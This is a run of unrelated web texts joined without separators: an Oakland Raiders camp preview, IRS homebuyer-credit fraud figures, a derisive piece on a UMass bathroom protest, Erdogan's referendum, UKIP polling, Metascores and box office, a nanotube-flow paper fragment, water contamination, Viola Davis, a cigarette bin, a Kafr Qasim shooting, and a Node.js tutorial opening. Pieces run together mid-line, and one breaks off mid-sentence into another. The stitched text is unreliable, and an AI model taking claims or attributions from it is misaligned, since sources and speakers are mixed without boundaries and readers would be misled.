1. The quarterbacks: Like most positions in Oakland, there is flux at the most important position on the field. The Raiders became a mystery at quarterback when Carson Palmer declined a pay cut. With a sudden hole, McKenzie turned to Matt Flynn in a trade with Seattle. Flynn was with McKenzie in Green Bay. He has two NFL starts under his belt, and he is 28. He has been the most consistent of the Oakland quarterbacks this summer, but he is far from dynamic.
Matt Flynn, who has started two games in a five-year career, has been the most consistent quarterback for the Raiders this summer. Kirby Lee/USA TODAY Sports
The Raiders hope he can be a solid game manager and a short-term answer. He must show that in camp. The Raiders also have Terrelle Pryor and rookies Matt McGloin and Tyler Wilson. I get the sense that the Raiders have higher, long-term hopes for Wilson, although he has struggled some in camp. If Pryor can find some consistency and Flynn falters, he or McGloin could get a chance. But the same goes for Wilson, a rookie, if there are no better options later in the season. For the immediate future, the Raiders hope Flynn can show he can be an effective starter.
2. Will McFadden have an impact? Running back Darren McFadden has long been Oakland’s best player. The Raiders need him to regain form to ensure this offense can be competitive. If McFadden and the running game don’t take off, there will be immense pressure on Flynn.
McFadden is looking for a bounce-back season. Oakland scrapped the zone-blocking scheme and will employ a power-blocking attack under new offensive coordinator Greg Olson. McFadden has had success in the latter scheme but must remain healthy regardless of scheme. He has missed at least three games in all five of his NFL seasons. If McFadden, who is in his contract year, can play at a high level again, Oakland’s offense will have a fighting chance. This training camp is about getting him prepared to do so.
3. Where’s the pass rush? Defensively, camp is about trying to find a pass rush. Oakland had little pass rush last season, and the team did little to improve in that area in the offseason. The team’s best pass-rushers are veteran Andre Carter and Lamarr Houston. But they are far from elite. Oakland has to find some pass-rushers to emerge in camp, and it also needs improved play in the secondary to help with the pass rush.
REASON FOR OPTIMISM: The back seven on defense appears to be improved. Oakland may have as many as nine new starters on defense and six in the back seven. Oakland feels better about its overall depth at linebacker and in the secondary.
In fact, I get the sense that the team’s brass is most excited about the linebackers and defensive backs.
The exact linebacker rotation is not clear, but the team is really high on middle linebacker Nick Roach and rookie outside linebacker Sio Moore. Roach has been a leader and has shown high intelligence. Oakland thinks Roach will set the tone for an improved defense. Moore, a third-round pick from Connecticut, has the look of a player who can make an instant impact.
Last season, Oakland’s secondary was one of the worst in the NFL. That doesn’t appear to be the case now.
The cornerbacks are much improved with veterans Mike Jenkins and Tracy Porter and rookie D.J. Hayden. The addition of safety Charles Woodson gives Oakland hope on the field and in the locker room.
REASON FOR PESSISISM: The roster is not deep, and there are holes and questions all over.
There are some talented players, and some of these young players will emerge. But getting them ready in this camp is daunting.
The key in the NFL is depth. Injuries can occur at an alarming rate. The teams that survive are the teams with the deepest rosters. Oakland doesn’t seem to have a deep roster. McKenzie acknowledges this.
First-round pick D.J. Hayden has the want-to attitude his coaches are looking for. Kirby Lee/USA TODAY Sports
“I can’t afford to get too many injuries,” McKenzie said. “We have to stay healthy. If we do, I think we can be OK. Guys will emerge as camp goes on.”
OBSERVATION DECKHomebuyer Tax Credit Fraud Puts Pressure on Further Extensions
As many readers of this site await to hear about a possible extension to the home buyer credit closing date, part of the latest Jobs and Tax Bill (HR4213), it was worrying to read some of the recently released IRS statistics on fraud surrounding the credit.
The IRS doled out more than $27 million in fraudulent claims for the home buyers’ tax credit on returns for 2008, including claims by prisoners serving life sentences and people who purchased their home before the credit was in effect, according to a U.S. Treasury Department report. One group in particular, 1200 prison inmates, including 241 serving life sentences, defrauded the government of $9.1 million in tax credits reserved for first-time home buyers.
Treasury’s inspector general also found that thousands of people filed multiple claims or made claims outside the allotted time period. The home buyer tax credit program was very specific about the time period in which home buyers were allowed to participate, though this rule seems to be the most widely violated. The credit was for home purchases that happened after April 8, 2008, with a cut-off date that was eventually extended to May 1, 2010. [with another extension to September 30 in the works now!]. The report found that the IRS awarded $17.6 million to 2,555 filers who had bought their homes before the credit program kicked in.
“Additional controls are necessary to address erroneous claims for the credit,” the report stated. “Further, fraudulent and questionable claims processed prior to implementation of controls will need follow-up action by the IRS.”
The inspector general also identified 206 filers who claimed the credit for multiple addresses; these fraudulent filers were awarded a total of $1.4 million. The report also found that improper filers included 34 employees of the IRS. This is in addition to 53 IRS employees that the inspector general identified last year as improper filers.
The report included a response from the IRS, which highlighted the huge scope of the program, with $12.6 billion in claims awarded to 1.8 million participants. It also said that despite its problems, the home buyer tax credit helped to spur more than 2.5 million new home purchases and helped to stabilize the housing market. Where there are questionable claims, the IRS has moved aggressively and successfully blocked or denied nearly 400,000 questionable home-buyer claims and opened more than 150 criminal investigations. These aggressive efforts have saved taxpayers more than $1 billion. The IRS has said it continues to ramp up efforts to crack down on criminal activity and would continue to review claims and “recapture” pay-outs determined to be fraudulent.
Overall, despite the above giving critics a platform for questioning the value of extending the credit, I think the home buyer credit stimulus has done more good than bad for the economy and home buyers/sellers. After all, even if you assume the same amount of fraud was committed in 2009 when the home buyer credit program was expanded, it still only makes up about 2% of the total program outlays. However, I do think that the level of fraud around this high profile stimulus payment means that anyone who is claiming the home buyer credit will more likely face an IRS audit in the future. So make sure you keep detailed records of your home buying transaction and the dates when the contract was signed and closing took place.Social justice warriors and trans students at the University of Massachusetts Amherst are sick of being treated like number two, and not number one.
As a result, SJWs have finally cracked, leading a campus wide protest on Monday in which more than 135 students camped out in toilet stalls in what they call a “sh*t in.”
The group behind the protest, Gender Liberation UMass, are calling for more gender inclusiveness on campus, including the quick implementation of gender-neutral bathrooms, the establishment of a university transgender health services, and the hiring of a professor “who is an expert in the study of critical transmisogyny from an intersectional perspective.”
The protest, which began on Monday at 9am, is expected to continue as long as it takes for the administration to yield.
However, the administration already responded with an email statement saying that UMass Amherst already has more than 200 single-stall, gender-neutral bathrooms on campus. According to a university spokesman, they’re even building an additional 50, and making major renovations to current gender-neutral bathrooms.
Yet, according to one of the protest organizer’s, Ann Schilling, the current offering of bathrooms to trans students is “definitely NOT enough.”
In an interview with Heat Street, Schilling admitted that all the university has to do is change the sign on the bathroom doors.
“We should not have to be coercively gendered when navigating public spaces,” Schilling said. “That is a real safety issue for trans students and creates a lot of fear.”
Of course, these protesters aren’t monsters; they left one urinal and one stall open for bathroom attendees. But still, it’s hard to do your business when SJWs are smearing the bathroom walls with their Leftist bullsh*t by playing the victim card while also attending a $30,000-$50,000/year institution.
Latest VideosAt first glance, Turkey’s Recep Tayyip Erdogan’s drive to create an executive presidency with almost unlimited power through a nationwide referendum looks like a slam-dunk.
The man hasn’t lost an election since 1994, and he’s loaded the dice and stacked the deck for the April 15 vote. Using last summer’s failed coup as a shield, he’s declared a state of emergency, fired 130,000 government employees, jailed 45,000 people — including opposition members of parliament — and closed down 176 media outlets. The opposition Republican People’s Party says it’s been harassed by death threats from referendum supporters and arrests by the police.
Meanwhile he’s deliberately picked fights with Germany, Austria, and the Netherlands to help whip up a storm of nationalism, and he charges that his opponents are “acting in concert with terrorists.” Selahattin Demirtas, a member of parliament and co-chair of the Kurdish-dominated People’s Democratic Party, the third largest political formation in Turkey, is under arrest and faces 143 years in prison. Over 70 Kurdish mayors are behind bars.
So why is Erdogan so nervous? Because he has reason to be.
A Wobbly Juggernaut
The juggernaut that Erdogan and his Justice and Development Party (AKP) put together to dismantle Turkey’s current political system and replace it with a highly centralized executive with the power to dismiss parliament, control the judiciary, and rule by decree has developed a bit of a wobble.
First, Turkey’s nationalists — in particular the right-wing Nationalist Movement Party (MHP) — are deeply split. The leadership of the MHP supports a “yes” vote on the referendum, but as much as 65 percent of the rank and file are preparing to vote “no.”
Second, there is increasing concern over the economy, formerly the AKP’s strong suit. Erdogan won the 2002 election on a pledge to raise living standards — especially for small businesses and among Turks who live in the country’s interior — and he largely delivered on those promises. Under the AKP’s stewardship, the Turkish economy grew, but with a built-in flaw.
The 2000s were a period of rapid growth for emerging economies like China, Russia, and Turkey. China did it by building a high-power manufacturing base and exporting its goods to the global market. Russia raised its economy through commodities sales, particularly oil and gas. Turkey’s huge spurt, however, was built around domestic consumption, in particular real estate and construction. Indeed, Turkey’s historical strength in manufacturing has languished.
Much of the construction boom was financed through foreign loans, and as long as investors were comfortable with the internal situation in Turkey — and money was cheap — real estate was Erdogan’s Anatolian tiger. But when the U.S. tightened up its monetary policies in 2013, those loans either dried up or got more expensive.
Turkey wasn’t the only victim of U.S. tight money policies. Washington’s monetary shift also badly damaged the economies of Brazil, South Africa, India, and Indonesia. But the effect on Ankara has been to increase the debt burden and fuel a growing trade imbalance. Growth fell from 6.1 percent in 2015 to 1.5 percent in 2016.
The fall of the Turkish lira means imports cost more at a time when Turkey’s private sector has accrued a foreign exchange deficit of $210 billion. Consumer inflation will almost certainly reach 11 or 12 percent this year and the jobless rate is over 12 percent. Among young Turks, age 15-24, that figure is over 25 percent. Almost 4 million people are out of work, and many Turks now spend 50 percent of their income on food, housing and rent.
To add to these woes, the credit agencies Moody’s, Standard and Poor, and Fitch recently designated Turkey’s status as “non-investment” and downgraded its economic outlook from “stable” to “negative.” Part of the downgrade was based on politics, not the economy. Fitch pointed out that if Erdogan’s referendum passed, it “would entrench a system in which checks and balances have been eroded.”
Businesses are generally not bothered by authoritarian regimes, but they are uncomfortable with instability and a cavalier approach to the rule of law. Erdogan’s erratic foreign policies and the government’s seizures of private businesses whose owners choose to oppose him do not create an atmosphere conducive to investor confidence.
There is also growing nervousness about Erdogan’s internal and external policies. Turkey once had a policy of “no trouble with neighbors,” but Ankara is suddenly fighting with everyone. Erdogan strongly supported efforts to overthrow the Syrian government of Bashar al-Assad. He backed the Muslim Brotherhood in Egypt. He put troops in northern Iraq aimed at keeping the Kurds down. He started a war with his own Kurds and bullies and intimidates any domestic opposition.
A case in point is the lucrative tourist industry that normally contributes about 5 percent of Turkey’s GNP. Turkey is the sixth most visited country in the world, but the industry was down 36 percent in 2016, a loss of $10 billion.
Formerly, large numbers of tourists visited from Russia and Iran. But Erdogan alienated the Russians when he shot down one of their bombers in 2015 and angered Iran when he went to Saudi Arabia and denounced the Iranians for trying to spread their Shiite ideology and “Persian nationalism” throughout the Middle East. As a result, tourism from both countries largely dried up, hitting Istanbul and coastal cities like Antalya particularly hard.
Iranians and Russians aren’t the only ones looking elsewhere for fun and relaxation. Erdogan’s sturm und drang rhetoric directed at European countries that refused to let him campaign for his referendum among their Turkish populations — “Nazis” and “fascists” were his favored epithets to describe Germany, the Netherlands, and Austria — has tourists from the West looking to vacation in Greece, Spain, and Italy instead.
Trouble in the Neighborhood
To label Erdogan’s foreign policy “schizophrenic” is an understatement.
On one hand, he’s backed off from his earlier demand that Syrian President Assad must go, and he’s working with the Russians and Iranians — and Egyptians — to find a negotiated settlement to the horrendous civil war.
On the other, he is wooing Saudi Arabia, the major backer of al-Qaeda-associated groups in Syria who’ve made it clear that they aren’t interested in negotiations or a political settlement. He’s also clashing with Russia and the U.S. over their support for Kurdish forces battling the Islamic State and al-Qaeda.
In one rather bizarre example of schizoid foreign policy, Turkey sponsored a March 14 meeting of 50 Syrian tribal leaders to form an “Army of the Jezeera and Euphrates Tribes” to fight Russia, Iran, Hezbollah, and the Kurdish Democratic Union Party in Syria. Beating up on the Kurds is standard Erdogan politics, but how he squares attacking Russia and Iran while professing to support a diplomatic solution to the Syrian civil war isn’t clear.
His political calculations keep backfiring. For instance, when Iran signed its international nuclear agreement and sanctions were lifted, Turkish businesses were eager to ramp up trade with Tehran. Erdogan’s searing attack on Iran largely scotched that, however, and the Turkish president has very little to show for it. Erdogan calculated that embracing Saudi Arabia and the Gulf monarchies would more than offset alienating Iran, but that hasn’t happened.
The United Arab Emirates, Saudi Arabia, Kuwait, and Qatar have a combined overseas investment portfolio of $262 billion, but only $8.7 billion of that went to Turkey. Europe makes up the great bulk of foreign investments in Turkey, distantly followed by the U.S. and Russia.
In part this is because the Gulf monarchies have their own financial difficulties, given low oil prices and the grinding war they are fighting in Yemen. But one suspects that Saudi Arabia is wary of Erdogan’s AKP, which is a cousin of the Muslim Brotherhood. The Saudis consider the Brotherhood their main enemy after Iran, and they strongly supported the 2013 military coup against the Egyptian Brotherhood government. The recent thaw in relations between Turkey and Egypt has resulted in a chilling of ties between Riyadh and Cairo.
Meanwhile the Islamic State has recently targeted Turkey, in large part as blowback from the Syrian civil war. Ankara formerly turned a blind eye to the Islamic State’s supply lines into Syria because Erdogan wanted to overthrow the Assad government and replace it with a Muslim Brotherhood-friendly regime. Now that policy has backfired on Turkey, much as U.S. support for the Mujahideen against the Soviet Union in Afghanistan led to the formation of al-Qaeda and the 2001 attacks on the World Trade Center and the Pentagon.
The Kurds have also engaged in a bombing campaign, but that is a response to Erdogan’s attacks on Kurdish cities in southeastern Turkey.
Getting to Yes — Or Else
It’s not clear how widespread the “no” vote sentiment is, although it supposedly includes up to 100 AKP parliament members worried about concentrating too much power in the president’s hands.
Pollsters say a significant number of voters are unwilling to say how they will vote. In the current atmosphere of intimidation, it could mean those “refuse to say” will turn to “no.” Certainly Erdogan’s prediction of a 60 percent approval has gone a glimmering.
What happens if people do vote no? And would Erdogan accept any outcome that wasn’t yes?
One disturbing development is the formation of a paramilitary group called “Stay as Brothers, Turkey.” Organized by Orhan Uzuner, whose daughter is married to Erdogan’s son Bital, the group claims up to 500 members. The opposition newspaper Cumhuriyet calls the group “Erdogan’s militia,” and some members of the Nationalist Movement Party say the Brothers are sponsoring weapons training and encouraging members to arm themselves. With the military firmly under control following last year’s attempted coup, even a small group like the Brothers could play a major role if Erdogan decides he’s finished with the democratic process.
Certainly the president is in a bind. He needs foreign investments and tourism to get the economy back on track, but he’s alienating one ally after another.
He could tighten Turkey’s monetary policies to staunch the outflow of capital, but that would slow the economy and increase unemployment. He could lower interest rates to stimulate the economy, but that would further weaken the lira.
His strategy at this point is to double down on getting a yes vote. If he fails, things could get dangerous.British people tend to see UKIP as the most right-wing party, but that's not how UKIP voters view themselves
In July YouGov revealed where voters place Britain’s political parties and their leaders on the left-right ideological scale. This week, the survey was repeated for the Times Red Box newsletter and showed how Ed Miliband continues to be seen as closer to the political centre than David Cameron. Now YouGov can reveal another dimension of the left-right scale: where voters place themselves.
The chart below shows how, since 2006, the average “Lab/Con/Lib Dem/UKIP voter” has rated their own ideology. For many years, the picture is relatively stable, with a slight tendency towards the polarisation of Labour and Conservative voters. The black line, representing the nation as a whole, shows how these voters tend to cancel each other out – the national average has never strayed far from the centre.
Another recent development is that UKIP voters in aggregate view themselves to the left of Tories. In fact, 13% of UKIP voters call themselves left-of-centre in the most recent survey, compared to only 6% of Conservative voters who do the same. Only 43% of UKIP voters say they are right-of-centre, versus 61% of Conservatives.
Note that movement from left to right doesn’t necessarily mean voters are changing their minds about where they fall on the scale. It's more that the composition of the groups who say they are planning to vote for the different parties changes, including more left- or right-wing voters.
As the survey also shows, where UKIP voters place themselves on the scale is very different from where the general public place their party.
The public see UKIP as the most right-wing party of all, giving it a score of +62, compared to the +50 given to the Tory party (bigger scores are more right-wing). But today’s UKIP voters have a very different view of themselves: the average UKIP voter scores a +23, which is even closer to the centre than the average Conservative, who scores a +34.
The same tendency exists when UKIP voters are asked to place the parties on the left-right scale. From left to right, UKIP voters have it Labour, Lib Dems, UKIP and then the Tories.
Some of UKIP's centrists could well be protest voters fed up with the main parties and turning to UKIP for non-ideological reasons, but this wouldn't be the first time UKIP voters defied the right-wing label. Past YouGov polling has found them to the left of Conservatives on a number of issues, including rail nationalisation, bank regulation and even Ed Miliband's proposed energy price freeze.
See the full poll resultsYes, they can (for major releases)
Just a few weeks ago, the blockbuster Batman v Superman: Dawn of Justice set a number of box office records during its opening weekend, grossing more in its first few days than any other March release in history (or any other Warner Bros. film, period). The following week, it made headlines in the industry press for more dubious reasons: the film's domestic receipts plummeted 69.1% in its second weekend.
It turns out that Batman v. Superman just wasn't a very good movie; critics gave the film lackluster or even scathing reviews upon its release. So was the film's second-weekend failure predictable? Do bad movies perform worse at the box office than good movies?
To answer those questions, we examined box office and film quality data for all major nationwide releases from the past decade, using our favorite proxy for film quality: Metascores. (For the uninitiated, Metascores represent the consensus opinion of top professional critics on a scale of 0 to 100, with higher scores indicating better reviews. Batman v. Superman scored a meager 44.) And it turns out that, on average, good movies really do make more money than mediocre or awful films.
Good movies open bigger than bad movies...
Nationwide releases are heavily marketed prior to their release dates, and—especially for "event" films—thousands of tickets may be sold before a film's first review appears online. It would be fair to assume, then, that many mainstream movies are somewhat "review-proof" for their opening weekends. However, moviegoers certainly seem to be able to sniff out crummy movies in advance, as there is a surprisingly strong correlation between film quality and opening weekend grosses:
$14.0M
$16.5M
$21.4M
$26.9M
$35.5M
$37.1M
$49.6M
$59.1M
$59.1M 0 – 19 20 – 39 40 – 50 51 – 60 61 – 70 71 – 80 81 – 90 91 – 100 bad reviews mixed reviews positive reviews
... but differences are even more pronounced over the full run
While better movies tend to open bigger than lousy films, it is actually the period after the opening weekend when the link between film quality and box office performance becomes even clearer.
Second weekend declines
After the initial wave of support from any built-in fanbase, films perceived as poor quality will presumably fizzle out rather quickly, while those bolstered by positive reviews will continue to attract filmgoers. The data support this assumption, with ticket sales for lousy films falling off much more sharply over the first week than those for better quality releases.
▼ 52.5%
▼ 50.2%
▼ 49.5%
▼ 46.2%
▼ 44.2%
44.2% ▼ 42.1%
42.1% ▼ 38.8%
38.8%
▼ 37.7%
37.7% 0 – 19 20 – 39 40 – 50 51 – 60 61 – 70 71 – 80 81 – 90 91 – 100 bad reviews mixed reviews positive reviews
You can view each film's details below (hover over any dot to see the film's name). Note that the size of each dot corresponds to the film's total domestic gross (for its full run), with larger dots indicating higher total grosses. Just for fun, we added Batman v. Superman into the chart so you can see how much of an aberration its second-week performance was (hint: you'll find it next to a bunch of Twilight films).
Multipliers
Do Metascores correlate with a film's enduring popularity over the course of its entire theatrical run? Yes. As you can see below, the higher the Metascore, the higher a film's multiplier, on average. In this case, we are defining "multiplier" as each film's total box office gross divided by its opening weekend gross. A film with a higher multiplier will thus have more "legs" and earn a larger chunk of its receipts after opening weekend.
Oddly, the highest scoring films don't do quite as well as the second-highest group. This is likely an oddity caused by the tiny size of the 91-100 group: just seven films (four of which are Pixar releases).
2.6
2.8
2.9
3.1
3.4
3.8
4.3
4.3
4.1
4.1 0 – 19 20 – 39 40 – 50 51 – 60 61 – 70 71 – 80 81 – 90 91 – 100 bad reviews mixed reviews positive reviews
Total grosses
You can see that multiplier in action in our final chart, which compares the average total domestic box office grosses for each group of films. Because of the gradual rise in multiplier as the Metascore increases, the difference between each group's total grosses is more extreme than the difference between opening weekend grosses. In both measures, however, the simple rule holds: the better the film, the more money it collects, on average. That effect becomes even more pronounced once the Metascore reaches 81 or higher:.
= opening weekend $35.1M
$47.8M
$62.7M
$ 81.3M
$ 112.4M
$1 37.8M
$197.8M
$238.4M
0 – 19 20 – 39 40 – 50 51 – 60 61 – 70 71 – 80 81 – 90 91 – 100 bad reviews mixed reviews positive reviews
To sum up
How strong is the connection between film quality and box office performance? Here is a recap of some of the data presented in the charts above:
Box Office Performance by Metascore, 2006-2015
(Films Opening in 2,000+ Theaters)
Metascore Range # of Films Avg. Opening
Weekend Avg. 2nd Weekend
Decline Avg.
Multiplier Avg. Total
Gross Films scoring 0 – 19 22 $13,961,514 ▼ 52.5% 2.6 $35,081,918 Films scoring 20 – 39 301 $16,503,055 ▼ 50.2% 2.8 $47,785,166 all with bad reviews: 323 $16,329,947 ▼ 50.4% 2.8 $46,919,929 Films scoring 40 – 50 294 $21,353,058 ▼ 49.5% 2.9 $62,658,866 Films scoring 51 – 60 255 $26,890,484 ▼ 46.2% 3.1 $81,265,377 all with mixed reviews: 549 $23,925,086 ▼ 48.0% 3.0 $71,301,234 Films scoring 61 – 70 163 $35,480,314 ▼ 44.2% 3.4 $112,446,672 Films scoring 71 – 80 87 $37,112,105 ▼ 42.1% 3.8 $137,787,032 Films scoring 81 – 90 29 $49,583,445 ▼ 38.8% 4.3 $197,836,138 Films scoring 91 – 100 7 $59,076,012 ▼ 37.7% 4.1 $238,356,646 all with positive reviews: 286 $37,984,253 ▼ 42.8% 3.6 $131,895,188
Back to Batman v Superman
Based on Batman v Superman's Metascore of 44, we would expect a second-weekend box office decline of close to 50%. Instead, the film dropped nearly 70%. So its performance is more extreme than the typical film, though it is not without precedent. In fact, it isn't even a record. Here are the biggest second-week declines in the past decade—a group that includes mostly horror films and the Twilight Saga, with a few exceptions:
Biggest Second-Weekend Box Office Drops (by Percentage), 2006– *
... and here's how it compares to other recent Batman and Superman films:
Second-Weekend Box Office Drops for Recent Batman & Superman FilmsIn the present study we examine the transport of water molecules confined in double-walled carbon nanotubes (DWNTs) of different lengths. The DWNT shown in Fig. 1a (length, 20 nm; diameter, 2.7 nm) is the reference system unless otherwise noted. To study the relation between the shear stress τ, which is equal to the friction force at the interface divided by the contact area, and the flow velocity v (the τ–v relation), a constant force of 0.012 pN was applied to each water molecule to mimic a pressure drop along the tube. The τ–v relation was then calculated using the methods described in Supplementary Section 1.b4. The consistency between the results calculated under the accelerating conditions (unsteady state) used here and steady-state conditions was established by demonstrating the clear separation between the timescales corresponding to liquid/solid friction (∼100 ps) and the build-up of the flow profile (∼3 ps, Supplementary Section 1.b4)9.
Figure 1: MD simulations showing the nonlinear, oscillatory relationship between the shear stress τ and flow velocity v. a, Side view of a typical studied system for water transport in a DWNT with a length of ∼20 nm and diameter of ∼2.7 nm for the innertube. The blue arrow indicates the direction of flow. b, Comparison of the flow velocity ranges studied in previous experiments4,10,11,12,13 (1 × 10–6–4 × 10–2 m s–1), previous simulations7,8,9 (1–1,000 m s–1) and the present work (0.03–4 m s–1). c, Shear stress τ and flow velocity v as functions of time t. This set of results is averaged over 5 million samples, each of 20 ps. This corresponds to a simulation of 0.1 ms. The error bar for flow velocity is ∼2 × 10−3 m s–1 and for shear stress ∼0.6 kPa, both of which are too small to be shown in the figures. d, Shear stress τ as a function of v–V cnt, where V cnt is the |
for decades, but our system of drinking water regulation is inept at setting any new standards.”
Bill Walker, another senior scientist at EWG, adds that the effort to establish truly health-protective regulatory levels often falls prey to corporate resistance. “It’s a negotiation between scientists and regulators and the polluting industry and water agencies, which will resist, saying they don’t want to spend the money to clean up the water supply. So they end up setting a so-called enforceable level as opposed to a level that’s best for people’s health,” he tells Fast Company.
The interactive map, which EWG and Northeastern University will update as more reports of contamination come to light, is the most comprehensive resource to track PFC pollution in U.S. water supplies. “It should be a wake-up call for people that they should no longer assume that their best interests are being looked out for and that the process of evaluating the safety of our drinking water supply has been corrupted,” Andrews says.
Absent any federal action to establish a real, health-protective regulation for these chemicals, which Walker says is unlikely under the Trump administration, which is draining the EPA of the resources and funding necessary to carry out more thorough monitoring, states and citizens will be the ones driving change on this issue. The EWG wants to make this public to let people know about the dangers in their water supply and help galvanize citizen response since that’s the only possible recourse.This article originally appeared on PEOPLE.com.
Viola Davis just earned her place in the record books.
The 51-year-old actress earned her third Academy Award nomination Tuesday when she received a Best Supporting Actress nod for her role in Fences, and in the process became the most-nominated black actress in Oscar history.
The Rhode Island native, who overcame an impoverished childhood to become one of Hollywood’s most respected stars, earned her first Best Supporting Actress nomination in 2008 for Doubt, and a Best Actress nomination in 2011 for The Help.
She has yet to bring home the coveted trophy, but is considered a frontrunner after winning a Golden Globe for the role earlier this month.
“Thank you to the Academy for recognizing this extraordinary, important film and my work in it. Thank you, Denzel, for being at the helm!” she said of her nomination, per the Los Angeles Times.
RELATED: Watch the Oscar nominees reveal their biggest fears, most challenging scenes, and the untold stories behind their films in our exclusive videos here.
If she wins, she will inch close to coveted EGOT status, after already bringing home an Emmy for her role in How to Get Away with Murder, and a Tony award in 2010 for Fences, in addition to an earlier Tony win in 2001.
Denzel Washington earned a Best Actor nomination for his role in the August Wilson adaptation of his Pulitzer Prize-winning play, although he failed to earn a Best Director nod. (Wilson, who wrote the screenplay before he died in 2005, was posthumously nominated for Best Adapted Screenplay.)
Davis was previously tied with Whoopi Goldberg for Oscar nominations, with The View co-host first nominated for Best Actress in 1986 for The Color Purple, and later bringing home the Best Supporting Actress award in 1991 for Ghost.
The latest Oscar slate also acknowledged other actresses of color. Octavia Spencer earned her second Best Supporting Actress nomination for Hidden Figures, after winning that same category five years earlier for The Help. First-time nominee Ruth Negga also earned a Best Actress nomination for her role in Loving, while Naomie Harris scored a nod for Moonlight.If it’s hard to convince smokers to stop littering cigarette butts just to keep a city cleaner–or protect the environment–maybe cities can get their attention with something people tend to be a little more passionate about: sports.
A new cigarette bin in London, divided into two clear sections, lets smokers use their butts to vote on a series of questions about sports, like who’s the greatest soccer player in the world.
The design was first tested earlier this year as part of a clever anti-littering campaign focused on a particularly trash-filled street in the middle of the city. Villiers Street, though it’s only a few blocks long, runs between two train stations and is one of the busiest streets in the city.
“It’s really transient, so you get people who are just coming through to commute, and they spend maybe like two minutes on the street, but they’re on it twice a day,” says Heather Poore, one of the founders of Hubbub, the social enterprise that designed the bin. “I think like anywhere, the less investment you have in the area, the less you’re bothered about keeping it clean. That’s one of the problems.”
The government spends nearly £1 million a year on cleanup for that street alone and sends cleaners out to the area seven times a day. Poore argues that people have become complacent about the trash, which ranges from cigarette butts to fast food packaging. “It’s one of those things you don’t really notice, and as soon as you’ve noticed it once, you notice it everywhere,” she says.
The designers studied the people who used the area–commuters, residents, businesses on the street, and people who came to visit the local pubs–and noticed that butts were the most common type of litter and younger men tended to litter the most butts.
“We thought, ok, how can we engage these guys?” she says. “Young men like competition, they like sport, and we thought how can we combine that. So we created a voting bin. Each week it was a different question linked to either football or cricket.”As long as police continue to see Palestinian citizens of Israel as ‘the enemy,’ the deadly shootings — and the ever-deepening crisis in relations — will continue.
By Yael Marom, with Orly Noy
An Israeli security guard shot and killed 28-year-old Mahmoud Mahmoud Salim Taha, a Palestinian citizen of Israel, in Kafr Qasim on Monday night. Disturbances had broken out while police were arresting another resident of the town, and in the course of the clashes, a security guard at the police station opened fire on Taha.
Below are three comments on the incident.
Where else have protesters been shot and killed?
Over 30 Palestinian citizens of Israel have been killed in violent episodes since the start of the year, most of them shot dead. Arab and mixed towns across the country have, over the last few weeks, seen protests against police ineffectiveness against the increasing violence and murder rate in the community. Leaders and regular citizens have pleaded endlessly for the police to start properly tackling the organized crime and hoards of weapons that threaten Palestinian society.
There is also Palestinians’ complete lack of faith in the authorities, above all the police. And that lack of faith is justified: 48 Palestinian citizens of Israel have been shot and killed by police since 2000, according to Mossawa Center — The Advocacy Center for Arab Citizens in Israel.
Monday night’s incident in Kafr Qasim, which came less than six months after the deadly events in Umm al-Hiran, is yet another assault by police on already frail relations.
On the one hand the police talk about creating trust; on the other, they behave, at best, like a bull in a china shop, and routinely treat Arab citizens like the enemy. When do they ever shoot other protesters, even if they throw stones and burn cars? Without minimizing the police violence against ultra-Orthodox protesters in Jerusalem over the last few weeks, not a single officer drew their weapon and opened fire, even as the police put out dramatic statements about ultra-Orthodox rioting and stone-throwing. And rightly so.
As long as the police don’t change their perception of Palestinians, no cosmetic plan to improve relations will work. But change is unlikely as long as the police commissioner is an ex-Shin Bet Netanyahu ally, who shares the prime minister’s belief that — unless proven otherwise — all Arabs are ISIS.
Erdan stands out again
Public Security Minister Gilad Erdan continues to act like a spokesperson for the police. Speaking on Tuesday morning about the incident in Kafr Qasim, he said: “No claim against the Israel Police justifies violence against police officers and the torching of police cars, to the extent that they feel their lives are in danger. Nowhere normal would see a police arrest justify dozens or hundreds of people trying to violently prize the arrestee from the officers.”
However, since he was never held publicly accountable for his despicable behavior following the killing of Yacoub Abu al-Qi’an in the Bedouin village of Umm al-Hiran in January, Erdan is allowing himself to revert to the same behavioral patterns: backing the police and armed security forces before the incident has even been investigated.
Once upon a time, the position Erdan holds was called the “Minister of Police.” The semantic change to “Public Security Minister” was meant to reflect a deep, moral change in the position itself: no longer would the minister represent the police and its interests in the government; instead, it would represent the security of the citizens. Citizens such as Yacoub Abu al-Qi’an and Muhammad Mahmoud Salim Taha. Even if all the details of the incident have yet to come to light, a citizen killed by police during clashes is a severe issue. Erdan’s claim that the violence overnight was “life threatening” is an attempt to create facts on the ground, way before they are even investigated.
This is reminiscent of the way Erdan labeled Abu al-Qi’an a “terrorist” long before anyone knew what had happened in Umm al-Hiran, and his insistence on continuing to label him as such even after it became clear that the police had blatantly lied. If Erdan already knows to say that Taha’s death stemmed from a “life-threatening feeling,” then he has absolved himself of any responsibility, rendering the investigation superfluous before it even started. Back to the good old days of the Minister of Police.
Be the results as they may, Gilad Erdan, who has lost all credibility and soundness of judgement, cannot be the minister who oversees this investigation.
Ducking responsibility
The Israel Police were quick to shake off responsibility for the killing in Kafr Qasim, instead emphasizing in a statement that the shooter was a civilian security guard. How can it be that a civilian security guard is sent to guard a police station and thus saves the police from taking responsibility?
Rela Mazali, who runs Gun Free Kitchen Table, an Israeli coalition of groups that seeks to restrict security guards from bringing home their guns from their work sites, explains: “The role of securing Israeli police stations is often placed in the hands of private security companies. That is, the police, which is meant to ensure public security, is not protecting itself. This is one of the ways in which the police and state itself absolve themselves of responsibility and accountability for using organized violence.”
The fact that the police are protected by civilians, who unlike police officers are untrained, and who are not subject to the same regulations, ensures that when the moment arises, security officers will simply not know how to act properly, and will quickly feel that they are “in danger.”
Yael Marom is Just Vision’s public engagement manager in Israel and a co-editor of Local Call, where this article was originally published in Hebrew.HEADS UP! This article was written for an older version of node. More up-to-date information may be available elsewhere.
In programming literature it has become the standard to create a hello world program as the first example. This article will go through a few simple hello world type examples with everything from simple terminal output to an http server that uses an external framework for some semantic sugar.
Then we'll shift gears and go through a real example that teaches enough to get you up on your feet writing your own web application using node.JS.
Hello World Examples
Here are four simple hello world examples. The comments in the code explain how the code works and the text around it explain what it does and how to test it.
Hello Console
This example is about as plain as it can get. It prints the words "Hello World" to the terminal.
hello-console.js // Call the console.log function.
console. log ( "Hello World" );
You can run this by putting it in a file called "hello-console.js" and running it with node hello-console.js
Hello HTTP
I'd guess that while it's not the only use case for node.JS, most people are using it as a web application platform. So the next example will be a simple HTTP server that responds to every request with the plain text message "Hello World"
